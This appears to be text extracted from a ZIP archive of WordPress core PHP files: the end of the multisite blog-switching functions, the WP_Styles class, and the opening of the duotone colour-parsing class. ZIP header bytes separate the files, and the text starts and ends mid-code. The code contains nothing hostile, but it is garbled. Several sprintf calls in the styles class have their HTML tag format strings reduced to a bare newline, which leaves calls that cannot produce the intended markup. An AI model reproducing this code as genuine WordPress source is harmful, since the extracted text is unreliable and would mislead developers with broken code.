$new_blog_id === $prev_blog_id ) { /** * Fires when the blog is switched. * * @since MU (3.0.0) * @since 5.4.0 The `$context` parameter was added. * * @param int $new_blog_id New blog ID. * @param int $prev_blog_id Previous blog ID. * @param string $context Additional context. Accepts 'switch' when called from switch_to_blog() * or 'restore' when called from restore_current_blog(). */ do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' ); $GLOBALS['switched'] = true; return true; } $wpdb->set_blog_id( $new_blog_id ); $GLOBALS['table_prefix'] = $wpdb->get_blog_prefix(); $GLOBALS['blog_id'] = $new_blog_id; if ( function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( $new_blog_id ); } else { global $wp_object_cache; if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) { $global_groups = $wp_object_cache->global_groups; } else { $global_groups = false; } wp_cache_init(); if ( function_exists( 'wp_cache_add_global_groups' ) ) { if ( is_array( $global_groups ) ) { wp_cache_add_global_groups( $global_groups ); } else { wp_cache_add_global_groups( array( 'blog-details', 'blog-id-cache', 'blog-lookup', 'blog_meta', 'global-posts', 'image_editor', 'networks', 'network-queries', 'sites', 'site-details', 'site-options', 'site-queries', 'site-transient', 'theme_files', 'rss', 'users', 'user-queries', 'user_meta', 'useremail', 'userlogins', 'userslugs', ) ); } wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) ); } } /** This filter is documented in wp-includes/ms-blogs.php */ do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'switch' ); $GLOBALS['switched'] = true; return true; } /** * Restores the current blog, after calling switch_to_blog(). * * @see switch_to_blog() * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * @global array $_wp_switched_stack * @global int $blog_id * @global bool $switched * @global string $table_prefix The database table prefix. * @global WP_Object_Cache $wp_object_cache * * @return bool True on success, false if we're already on the current blog. */ function restore_current_blog() { global $wpdb; if ( empty( $GLOBALS['_wp_switched_stack'] ) ) { return false; } $new_blog_id = array_pop( $GLOBALS['_wp_switched_stack'] ); $prev_blog_id = get_current_blog_id(); if ( $new_blog_id === $prev_blog_id ) { /** This filter is documented in wp-includes/ms-blogs.php */ do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' ); // If we still have items in the switched stack, consider ourselves still 'switched'. $GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] ); return true; } $wpdb->set_blog_id( $new_blog_id ); $GLOBALS['blog_id'] = $new_blog_id; $GLOBALS['table_prefix'] = $wpdb->get_blog_prefix(); if ( function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( $new_blog_id ); } else { global $wp_object_cache; if ( is_object( $wp_object_cache ) && isset( $wp_object_cache->global_groups ) ) { $global_groups = $wp_object_cache->global_groups; } else { $global_groups = false; } wp_cache_init(); if ( function_exists( 'wp_cache_add_global_groups' ) ) { if ( is_array( $global_groups ) ) { wp_cache_add_global_groups( $global_groups ); } else { wp_cache_add_global_groups( array( 'blog-details', 'blog-id-cache', 'blog-lookup', 'blog_meta', 'global-posts', 'image_editor', 'networks', 'network-queries', 'sites', 'site-details', 'site-options', 'site-queries', 'site-transient', 'theme_files', 'rss', 'users', 'user-queries', 'user_meta', 'useremail', 'userlogins', 'userslugs', ) ); } wp_cache_add_non_persistent_groups( array( 'counts', 'plugins', 'theme_json' ) ); } } /** This filter is documented in wp-includes/ms-blogs.php */ do_action( 'switch_blog', $new_blog_id, $prev_blog_id, 'restore' ); // If we still have items in the switched stack, consider ourselves still 'switched'. $GLOBALS['switched'] = ! empty( $GLOBALS['_wp_switched_stack'] ); return true; } /** * Switches the initialized roles and current user capabilities to another site. * * @since 4.9.0 * * @param int $new_site_id New site ID. * @param int $old_site_id Old site ID. */ function wp_switch_roles_and_user( $new_site_id, $old_site_id ) { if ( $new_site_id === $old_site_id ) { return; } if ( ! did_action( 'init' ) ) { return; } wp_roles()->for_site( $new_site_id ); wp_get_current_user()->for_site( $new_site_id ); } /** * Determines if switch_to_blog() is in effect. * * @since 3.5.0 * * @global array $_wp_switched_stack * * @return bool True if switched, false otherwise. */ function ms_is_switched() { return ! empty( $GLOBALS['_wp_switched_stack'] ); } /** * Checks if a particular blog is archived. * * @since MU (3.0.0) * * @param int $id Blog ID. * @return string Whether the blog is archived or not. */ function is_archived( $id ) { return get_blog_status( $id, 'archived' ); } /** * Updates the 'archived' status of a particular blog. * * @since MU (3.0.0) * * @param int $id Blog ID. * @param string $archived The new status. * @return string $archived */ function update_archived( $id, $archived ) { update_blog_status( $id, 'archived', $archived ); return $archived; } /** * Updates a blog details field. * * @since MU (3.0.0) * @since 5.1.0 Use wp_update_site() internally. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $blog_id Blog ID. * @param string $pref Field name. * @param string $value Field value. * @param null $deprecated Not used. * @return string|false $value */ function update_blog_status( $blog_id, $pref, $value, $deprecated = null ) { global $wpdb; if ( null !== $deprecated ) { _deprecated_argument( __FUNCTION__, '3.1.0' ); } $allowed_field_names = array( 'site_id', 'domain', 'path', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ); if ( ! in_array( $pref, $allowed_field_names, true ) ) { return $value; } $result = wp_update_site( $blog_id, array( $pref => $value, ) ); if ( is_wp_error( $result ) ) { return false; } return $value; } /** * Gets a blog details field. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $id Blog ID. * @param string $pref Field name. * @return bool|string|null $value */ function get_blog_status( $id, $pref ) { global $wpdb; $details = get_site( $id ); if ( $details ) { return $details->$pref; } return $wpdb->get_var( $wpdb->prepare( "SELECT %s FROM {$wpdb->blogs} WHERE blog_id = %d", $pref, $id ) ); } /** * Gets a list of most recently updated blogs. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param mixed $deprecated Not used. * @param int $start Optional. Number of blogs to offset the query. Used to build LIMIT clause. * Can be used for pagination. Default 0. * @param int $quantity Optional. The maximum number of blogs to retrieve. Default 40. * @return array The list of blogs. */ function get_last_updated( $deprecated = '', $start = 0, $quantity = 40 ) { global $wpdb; if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, 'MU' ); // Never used. } return $wpdb->get_results( $wpdb->prepare( "SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0' AND last_updated != '0000-00-00 00:00:00' ORDER BY last_updated DESC limit %d, %d", get_current_network_id(), $start, $quantity ), ARRAY_A ); } /** * Handler for updating the site's last updated date when a post is published or * an already published post is changed. * * @since 3.3.0 * * @param string $new_status The new post status. * @param string $old_status The old post status. * @param WP_Post $post Post object. */ function _update_blog_date_on_post_publish( $new_status, $old_status, $post ) { $post_type_obj = get_post_type_object( $post->post_type ); if ( ! $post_type_obj || ! $post_type_obj->public ) { return; } if ( 'publish' !== $new_status && 'publish' !== $old_status ) { return; } // Post was freshly published, published post was saved, or published post was unpublished. wpmu_update_blogs_date(); } /** * Handler for updating the current site's last updated date when a published * post is deleted. * * @since 3.4.0 * * @param int $post_id Post ID */ function _update_blog_date_on_post_delete( $post_id ) { $post = get_post( $post_id ); $post_type_obj = get_post_type_object( $post->post_type ); if ( ! $post_type_obj || ! $post_type_obj->public ) { return; } if ( 'publish' !== $post->post_status ) { return; } wpmu_update_blogs_date(); } /** * Handler for updating the current site's posts count when a post is deleted. * * @since 4.0.0 * @since 6.2.0 Added the `$post` parameter. * * @param int $post_id Post ID. * @param WP_Post $post Post object. */ function _update_posts_count_on_delete( $post_id, $post ) { if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) { return; } update_posts_count(); } /** * Handler for updating the current site's posts count when a post status changes. * * @since 4.0.0 * @since 4.9.0 Added the `$post` parameter. * * @param string $new_status The status the post is changing to. * @param string $old_status The status the post is changing from. * @param WP_Post $post Post object */ function _update_posts_count_on_transition_post_status( $new_status, $old_status, $post = null ) { if ( $new_status === $old_status ) { return; } if ( 'post' !== get_post_type( $post ) ) { return; } if ( 'publish' !== $new_status && 'publish' !== $old_status ) { return; } update_posts_count(); } /** * Counts number of sites grouped by site status. * * @since 5.3.0 * * @param int $network_id Optional. The network to get counts for. Default is the current network ID. * @return int[] { * Numbers of sites grouped by site status. * * @type int $all The total number of sites. * @type int $public The number of public sites. * @type int $archived The number of archived sites. * @type int $mature The number of mature sites. * @type int $spam The number of spam sites. * @type int $deleted The number of deleted sites. * } */ function wp_count_sites( $network_id = null ) { if ( empty( $network_id ) ) { $network_id = get_current_network_id(); } $counts = array(); $args = array( 'network_id' => $network_id, 'number' => 1, 'fields' => 'ids', 'no_found_rows' => false, ); $q = new WP_Site_Query( $args ); $counts['all'] = $q->found_sites; $_args = $args; $statuses = array( 'public', 'archived', 'mature', 'spam', 'deleted' ); foreach ( $statuses as $status ) { $_args = $args; $_args[ $status ] = 1; $q = new WP_Site_Query( $_args ); $counts[ $status ] = $q->found_sites; } return $counts; } PK!uJ;+2+2class-wp-styles.phpnuȯÝítype_attr = " type='text/css'"; } /** * Fires when the WP_Styles instance is initialized. * * @since 2.6.0 * * @param WP_Styles $wp_styles WP_Styles instance (passed by reference). */ do_action_ref_array( 'wp_default_styles', array( &$this ) ); } /** * Processes a style dependency. * * @since 2.6.0 * @since 5.5.0 Added the `$group` parameter. * * @see WP_Dependencies::do_item() * * @param string $handle The style's registered handle. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function do_item( $handle, $group = false ) { if ( ! parent::do_item( $handle ) ) { return false; } $obj = $this->registered[ $handle ]; if ( $obj->extra['conditional'] ?? false ) { return false; } if ( null === $obj->ver ) { $ver = ''; } else { $ver = $obj->ver ? $obj->ver : $this->default_version; } if ( isset( $this->args[ $handle ] ) ) { $ver = $ver ? $ver . '&' . $this->args[ $handle ] : $this->args[ $handle ]; } $src = $obj->src; $inline_style = $this->print_inline_style( $handle, false ); if ( $inline_style ) { $inline_style_tag = sprintf( "\n", esc_attr( $handle ), $this->type_attr, $inline_style ); } else { $inline_style_tag = ''; } if ( $this->do_concat ) { if ( $this->in_default_dir( $src ) && ! isset( $obj->extra['alt'] ) ) { $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; $this->print_code .= $inline_style; return true; } } if ( isset( $obj->args ) ) { $media = $obj->args; } else { $media = 'all'; } // A single item may alias a set of items, by having dependencies, but no source. if ( ! $src ) { if ( $inline_style_tag ) { if ( $this->do_concat ) { $this->print_html .= $inline_style_tag; } else { echo $inline_style_tag; } } return true; } $href = $this->_css_href( $src, $ver, $handle ); if ( ! $href ) { return true; } $rel = isset( $obj->extra['alt'] ) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet'; $title = isset( $obj->extra['title'] ) ? $obj->extra['title'] : ''; $tag = sprintf( "\n", $rel, esc_attr( $handle ), $title ? sprintf( " title='%s'", esc_attr( $title ) ) : '', $href, $this->type_attr, esc_attr( $media ) ); /** * Filters the HTML link tag of an enqueued style. * * @since 2.6.0 * @since 4.3.0 Introduced the `$href` parameter. * @since 4.5.0 Introduced the `$media` parameter. * * @param string $tag The link tag for the enqueued style. * @param string $handle The style's registered handle. * @param string $href The stylesheet's source URL. * @param string $media The stylesheet's media attribute. */ $tag = apply_filters( 'style_loader_tag', $tag, $handle, $href, $media ); if ( 'rtl' === $this->text_direction && isset( $obj->extra['rtl'] ) && $obj->extra['rtl'] ) { if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) { $suffix = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : ''; $rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $src, $ver, "$handle-rtl" ) ); } else { $rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" ); } $rtl_tag = sprintf( "\n", $rel, esc_attr( $handle ), $title ? sprintf( " title='%s'", esc_attr( $title ) ) : '', $rtl_href, $this->type_attr, esc_attr( $media ) ); /** This filter is documented in wp-includes/class-wp-styles.php */ $rtl_tag = apply_filters( 'style_loader_tag', $rtl_tag, $handle, $rtl_href, $media ); if ( 'replace' === $obj->extra['rtl'] ) { $tag = $rtl_tag; } else { $tag .= $rtl_tag; } } if ( $this->do_concat ) { $this->print_html .= $tag; if ( $inline_style_tag ) { $this->print_html .= $inline_style_tag; } } else { echo $tag; $this->print_inline_style( $handle ); } return true; } /** * Adds extra CSS styles to a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param string $code String containing the CSS styles to be added. * @return bool True on success, false on failure. */ public function add_inline_style( $handle, $code ) { if ( ! $code ) { return false; } $after = $this->get_data( $handle, 'after' ); if ( ! $after ) { $after = array(); } $after[] = $code; return $this->add_data( $handle, 'after', $after ); } /** * Prints extra CSS styles of a registered stylesheet. * * @since 3.3.0 * * @param string $handle The style's registered handle. * @param bool $display Optional. Whether to print the inline style * instead of just returning it. Default true. * @return string|bool False if no data exists, inline styles if `$display` is true, * true otherwise. */ public function print_inline_style( $handle, $display = true ) { $output = $this->get_data( $handle, 'after' ); if ( empty( $output ) || ! is_array( $output ) ) { return false; } if ( ! $this->do_concat ) { // Obtain the original `src` for a stylesheet possibly inlined by wp_maybe_inline_styles(). $inlined_src = $this->get_data( $handle, 'inlined_src' ); // If there's only one `after` inline style, and that inline style had been inlined, then use the $inlined_src // as the sourceURL. Otherwise, if there is more than one inline `after` style associated with the handle, // then resort to using the handle to construct the sourceURL since there isn't a single source. if ( count( $output ) === 1 && is_string( $inlined_src ) && strlen( $inlined_src ) > 0 ) { $source_url = esc_url_raw( $inlined_src ); } else { $source_url = rawurlencode( "{$handle}-inline-css" ); } $output[] = sprintf( '/*# sourceURL=%s */', $source_url ); } $output = implode( "\n", $output ); if ( ! $display ) { return $output; } printf( "\n", esc_attr( $handle ), $this->type_attr, $output ); return true; } /** * Overrides the add_data method from WP_Dependencies, to allow unsetting dependencies for conditional styles. * * @since 6.9.0 * * @param string $handle Name of the item. Should be unique. * @param string $key The data key. * @param mixed $value The data value. * @return bool True on success, false on failure. */ public function add_data( $handle, $key, $value ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } if ( 'conditional' === $key ) { $this->registered[ $handle ]->deps = array(); } return parent::add_data( $handle, $key, $value ); } /** * Determines style dependencies. * * @since 2.6.0 * * @see WP_Dependencies::all_deps() * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no groups (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $result = parent::all_deps( $handles, $recursion, $group ); if ( ! $recursion ) { /** * Filters the array of enqueued styles before processing for output. * * @since 2.6.0 * * @param string[] $to_do The list of enqueued style handles about to be processed. */ $this->to_do = apply_filters( 'print_styles_array', $this->to_do ); } return $result; } /** * Generates an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source of the enqueued style. * @param string $ver The version of the enqueued style. * @param string $handle The style's registered handle. * @return string Style's fully-qualified URL. */ public function _css_href( $src, $ver, $handle ) { if ( ! is_bool( $src ) && ! preg_match( '|^(https?:)?//|', $src ) && ! ( $this->content_url && str_starts_with( $src, $this->content_url ) ) ) { $src = $this->base_url . $src; } if ( ! empty( $ver ) ) { $src = add_query_arg( 'ver', $ver, $src ); } /** * Filters an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source URL of the enqueued style. * @param string $handle The style's registered handle. */ $src = apply_filters( 'style_loader_src', $src, $handle ); return esc_url( $src ); } /** * Whether a handle's source is in a default directory. * * @since 2.8.0 * * @param string $src The source of the enqueued style. * @return bool True if found, false if not. */ public function in_default_dir( $src ) { if ( ! $this->default_dirs ) { return true; } foreach ( (array) $this->default_dirs as $test ) { if ( str_starts_with( $src, $test ) ) { return true; } } return false; } /** * Processes items and dependencies for the footer group. * * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer. * * @since 3.3.0 * * @see WP_Dependencies::do_items() * * @return string[] Handles of items that have been processed. */ public function do_footer_items() { $this->do_items( false, 1 ); return $this->done; } /** * Resets class properties. * * @since 3.3.0 */ public function reset() { $this->do_concat = false; $this->concat = ''; $this->concat_version = ''; $this->print_html = ''; } /** * Gets a style-specific dependency warning message. * * @since 6.9.1 * * @param string $handle Style handle with missing dependencies. * @param string[] $missing_dependency_handles Missing dependency handles. * @return string Formatted, localized warning message. */ protected function get_dependency_warning_message( $handle, $missing_dependency_handles ) { return sprintf( /* translators: 1: Style handle, 2: List of missing dependency handles. */ __( 'The style with the handle "%1$s" was enqueued with dependencies that are not registered: %2$s.' ), $handle, implode( wp_get_list_item_separator(), $missing_dependency_handles ) ); } } PK!LÂsæOŸOŸclass-wp-duotone.phpnuȯÝí 'blue-orange', * … * ] * * @internal * * @since 6.3.0 * * @var array */ private static $global_styles_block_names; /** * An array of duotone filter data from global, theme, and custom presets. * * Example: * [ * 'wp-duotone-blue-orange' => [ * 'slug' => 'blue-orange', * 'colors' => [ '#0000ff', '#ffcc00' ], * ], * 'wp-duotone-red-yellow' => [ * 'slug' => 'red-yellow', * 'colors' => [ '#cc0000', '#ffff33' ], * ], * … * ] * * @internal * * @since 6.3.0 * * @var array */ private static $global_styles_presets; /** * All of the duotone filter data from presets for CSS custom properties on * the page. * * Example: * [ * 'wp-duotone-blue-orange' => [ * 'slug' => 'blue-orange', * 'colors' => [ '#0000ff', '#ffcc00' ], * ], * … * ] * * @internal * * @since 6.3.0 * * @var array */ private static $used_global_styles_presets = array(); /** * All of the duotone filter data for SVGs on the page. Includes both * presets and custom filters. * * Example: * [ * 'wp-duotone-blue-orange' => [ * 'slug' => 'blue-orange', * 'colors' => [ '#0000ff', '#ffcc00' ], * ], * 'wp-duotone-000000-ffffff-2' => [ * 'slug' => '000000-ffffff-2', * 'colors' => [ '#000000', '#ffffff' ], * ], * … * ] * * @internal * * @since 6.3.0 * * @var array */ private static $used_svg_filter_data = array(); /** * All of the block CSS declarations for styles on the page. * * Example: * [ * [ * 'selector' => '.wp-duotone-000000-ffffff-2.wp-block-image img', * 'declarations' => [ * 'filter' => 'url(#wp-duotone-000000-ffffff-2)', * ], * ], * … * ] * * @internal * * @since 6.3.0 * * @var array */ private static $block_css_declarations = array(); /** * Clamps a value between an upper and lower bound. * * Direct port of colord's clamp function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/helpers.ts#L23 Sourced from colord. * * @internal * * @since 6.3.0 * * @param float $number The number to clamp. * @param float $min The minimum value. * @param float $max The maximum value. * @return float The clamped value. */ private static function colord_clamp( $number, $min = 0, $max = 1 ) { return $number > $max ? $max : ( $number > $min ? $number : $min ); } /** * Processes and clamps a degree (angle) value properly. * * Direct port of colord's clampHue function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/helpers.ts#L32 Sourced from colord. * * @internal * * @since 6.3.0 * * @param float $degrees The hue to clamp. * @return float The clamped hue. */ private static function colord_clamp_hue( $degrees ) { $degrees = is_finite( $degrees ) ? $degrees % 360 : 0; return $degrees > 0 ? $degrees : $degrees + 360; } /** * Converts a hue value to degrees from 0 to 360 inclusive. * * Direct port of colord's parseHue function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/helpers.ts#L40 Sourced from colord. * * @internal * * @since 6.3.0 * * @param float $value The hue value to parse. * @param string $unit The unit of the hue value. * @return float The parsed hue value. */ private static function colord_parse_hue( $value, $unit = 'deg' ) { $angle_units = array( 'grad' => 360 / 400, 'turn' => 360, 'rad' => 360 / ( M_PI * 2 ), ); $factor = isset( $angle_units[ $unit ] ) ? $angle_units[ $unit ] : 1; return (float) $value * $factor; } /** * Parses any valid Hex3, Hex4, Hex6 or Hex8 string and converts it to an RGBA object. * * Direct port of colord's parseHex function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hex.ts#L8 Sourced from colord. * * @internal * * @since 6.3.0 * * @param string $hex The hex string to parse. * @return array|null An array of RGBA values or null if the hex string is invalid. */ private static function colord_parse_hex( $hex ) { $is_match = preg_match( '/^#([0-9a-f]{3,8})$/i', $hex, $hex_match ); if ( ! $is_match ) { return null; } $hex = $hex_match[1]; if ( 4 >= strlen( $hex ) ) { return array( 'r' => (int) base_convert( $hex[0] . $hex[0], 16, 10 ), 'g' => (int) base_convert( $hex[1] . $hex[1], 16, 10 ), 'b' => (int) base_convert( $hex[2] . $hex[2], 16, 10 ), 'a' => 4 === strlen( $hex ) ? round( base_convert( $hex[3] . $hex[3], 16, 10 ) / 255, 2 ) : 1, ); } if ( 6 === strlen( $hex ) || 8 === strlen( $hex ) ) { return array( 'r' => (int) base_convert( substr( $hex, 0, 2 ), 16, 10 ), 'g' => (int) base_convert( substr( $hex, 2, 2 ), 16, 10 ), 'b' => (int) base_convert( substr( $hex, 4, 2 ), 16, 10 ), 'a' => 8 === strlen( $hex ) ? round( (int) base_convert( substr( $hex, 6, 2 ), 16, 10 ) / 255, 2 ) : 1, ); } return null; } /** * Clamps an array of RGBA values. * * Direct port of colord's clampRgba function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/rgb.ts#L5 Sourced from colord. * * @internal * * @since 6.3.0 * * @param array $rgba The RGBA array to clamp. * @return array The clamped RGBA array. */ private static function colord_clamp_rgba( $rgba ) { $rgba['r'] = self::colord_clamp( $rgba['r'], 0, 255 ); $rgba['g'] = self::colord_clamp( $rgba['g'], 0, 255 ); $rgba['b'] = self::colord_clamp( $rgba['b'], 0, 255 ); $rgba['a'] = self::colord_clamp( $rgba['a'] ); return $rgba; } /** * Parses a valid RGB[A] CSS color function/string. * * Direct port of colord's parseRgbaString function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/rgbString.ts#L18 Sourced from colord. * * @internal * * @since 6.3.0 * * @param string $input The RGBA string to parse. * @return array|null An array of RGBA values or null if the RGB string is invalid. */ private static function colord_parse_rgba_string( $input ) { // Functional syntax. $is_match = preg_match( '/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*,\s*([+-]?\d*\.?\d+)(%)?\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i', $input, $match ); if ( ! $is_match ) { // Whitespace syntax. $is_match = preg_match( '/^rgba?\(\s*([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s+([+-]?\d*\.?\d+)(%)?\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i', $input, $match ); } if ( ! $is_match ) { return null; } /* * For some reason, preg_match doesn't include empty matches at the end * of the array, so we add them manually to make things easier later. */ for ( $i = 1; $i <= 8; $i++ ) { if ( ! isset( $match[ $i ] ) ) { $match[ $i ] = ''; } } if ( $match[2] !== $match[4] || $match[4] !== $match[6] ) { return null; } return self::colord_clamp_rgba( array( 'r' => (float) $match[1] / ( $match[2] ? 100 / 255 : 1 ), 'g' => (float) $match[3] / ( $match[4] ? 100 / 255 : 1 ), 'b' => (float) $match[5] / ( $match[6] ? 100 / 255 : 1 ), 'a' => '' === $match[7] ? 1 : (float) $match[7] / ( $match[8] ? 100 : 1 ), ) ); } /** * Clamps an array of HSLA values. * * Direct port of colord's clampHsla function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L6 Sourced from colord. * * @internal * * @since 6.3.0 * * @param array $hsla The HSLA array to clamp. * @return array The clamped HSLA array. */ private static function colord_clamp_hsla( $hsla ) { $hsla['h'] = self::colord_clamp_hue( $hsla['h'] ); $hsla['s'] = self::colord_clamp( $hsla['s'], 0, 100 ); $hsla['l'] = self::colord_clamp( $hsla['l'], 0, 100 ); $hsla['a'] = self::colord_clamp( $hsla['a'] ); return $hsla; } /** * Converts an HSVA array to RGBA. * * Direct port of colord's hsvaToRgba function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsv.ts#L52 Sourced from colord. * * @internal * * @since 6.3.0 * * @param array $hsva The HSVA array to convert. * @return array The RGBA array. */ private static function colord_hsva_to_rgba( $hsva ) { $h = ( $hsva['h'] / 360 ) * 6; $s = $hsva['s'] / 100; $v = $hsva['v'] / 100; $a = $hsva['a']; $hh = floor( $h ); $b = $v * ( 1 - $s ); $c = $v * ( 1 - ( $h - $hh ) * $s ); $d = $v * ( 1 - ( 1 - $h + $hh ) * $s ); $module = $hh % 6; return array( 'r' => array( $v, $c, $b, $b, $d, $v )[ $module ] * 255, 'g' => array( $d, $v, $v, $c, $b, $b )[ $module ] * 255, 'b' => array( $b, $b, $d, $v, $v, $c )[ $module ] * 255, 'a' => $a, ); } /** * Converts an HSLA array to HSVA. * * Direct port of colord's hslaToHsva function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L33 Sourced from colord. * * @internal * * @since 6.3.0 * * @param array $hsla The HSLA array to convert. * @return array The HSVA array. */ private static function colord_hsla_to_hsva( $hsla ) { $h = $hsla['h']; $s = $hsla['s']; $l = $hsla['l']; $a = $hsla['a']; $s *= ( $l < 50 ? $l : 100 - $l ) / 100; return array( 'h' => $h, 's' => $s > 0 ? ( ( 2 * $s ) / ( $l + $s ) ) * 100 : 0, 'v' => $l + $s, 'a' => $a, ); } /** * Converts an HSLA array to RGBA. * * Direct port of colord's hslaToRgba function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L55 Sourced from colord. * * @internal * * @since 6.3.0 * * @param array $hsla The HSLA array to convert. * @return array The RGBA array. */ private static function colord_hsla_to_rgba( $hsla ) { return self::colord_hsva_to_rgba( self::colord_hsla_to_hsva( $hsla ) ); } /** * Parses a valid HSL[A] CSS color function/string. * * Direct port of colord's parseHslaString function. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hslString.ts#L17 Sourced from colord. * * @internal * * @since 6.3.0 * * @param string $input The HSLA string to parse. * @return array|null An array of RGBA values or null if the RGB string is invalid. */ private static function colord_parse_hsla_string( $input ) { // Functional syntax. $is_match = preg_match( '/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s*,\s*([+-]?\d*\.?\d+)%\s*,\s*([+-]?\d*\.?\d+)%\s*(?:,\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i', $input, $match ); if ( ! $is_match ) { // Whitespace syntax. $is_match = preg_match( '/^hsla?\(\s*([+-]?\d*\.?\d+)(deg|rad|grad|turn)?\s+([+-]?\d*\.?\d+)%\s+([+-]?\d*\.?\d+)%\s*(?:\/\s*([+-]?\d*\.?\d+)(%)?\s*)?\)$/i', $input, $match ); } if ( ! $is_match ) { return null; } /* * For some reason, preg_match doesn't include empty matches at the end * of the array, so we add them manually to make things easier later. */ for ( $i = 1; $i <= 6; $i++ ) { if ( ! isset( $match[ $i ] ) ) { $match[ $i ] = ''; } } $hsla = self::colord_clamp_hsla( array( 'h' => self::colord_parse_hue( $match[1], $match[2] ), 's' => (float) $match[3], 'l' => (float) $match[4], 'a' => '' === $match[5] ? 1 : (float) $match[5] / ( $match[6] ? 100 : 1 ), ) ); return self::colord_hsla_to_rgba( $hsla ); } /** * Tries to convert an incoming string into RGBA values. * * Direct port of colord's parse function simplified for our use case. This * version only supports string parsing and only returns RGBA values. * * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/parse.ts#L37 Sourced from colord. * * @internal * * @since 6.3.0 * * @param string $input The string to parse. * @return array|null An array of RGBA values or null if the string is invalid. */ private static function colord_parse( $input ) { $result = self::colord_parse_hex( $input ); if ( ! $result ) { $result = self::colord_parse_rgba_string( $input ); } if ( ! $result ) { $result = self::colord_parse_hsla_string( $input ); } return $result; } /** * Takes the inline CSS duotone variable from a block and return the slug. * * Handles styles slugs like: * var:preset|duotone|blue-orange * var(--wp--preset--duotone--blue-orange) * * @internal * * @since 6.3.0 * * @param string $duotone_attr The duotone attribute from a block. * @return string The slug of the duotone preset or an empty string if no slug is found. */ private static function get_slug_from_attribute( $duotone_attr ) { // Uses Branch Reset Groups `(?|…)` to return one capture group. preg_match( '/(?|var:preset\|duotone\|(\S+)|var\(--wp--preset--duotone--(\S+)\))/', $duotone_attr, $matches ); return ! empty( $matches[1] ) ? $matches[1] : ''; } /** * Checks if we have a valid duotone preset. * * Valid presets are defined in the $global_styles_presets array. * * @internal * * @since 6.3.0 * * @param string $duotone_attr The duotone attribute from a block. * @return bool True if the duotone preset present and valid. */ private static function is_preset( $duotone_attr ) { $slug = self::get_slug_from_attribute( $duotone_attr ); $filter_id = self::get_filter_id( $slug ); return array_key_exists( $filter_id, self::get_all_global_styles_presets() ); } /** * Gets the CSS variable name for a duotone preset. * * Example output: * --wp--preset--duotone--blue-orange * * @internal * * @since 6.3.0 * * @param string $slug The slug of the duotone preset. * @return string The CSS variable name. */ private static function get_css_custom_property_name( $slug ) { return "--wp--preset--duotone--$slug"; } /** * Get the ID of the duotone filter. * * Example output: * wp-duotone-blue-orange * * @internal * * @since 6.3.0 * * @param string $slug The slug of the duotone preset. * @return string The ID of the duotone filter. */ private static function get_filter_id( $slug ) { return "wp-duotone-$slug"; } /** * Get the CSS variable for a duotone preset. * * Example output: * var(--wp--preset--duotone--blue-orange) * * @internal * * @since 6.3.0 * * @param string 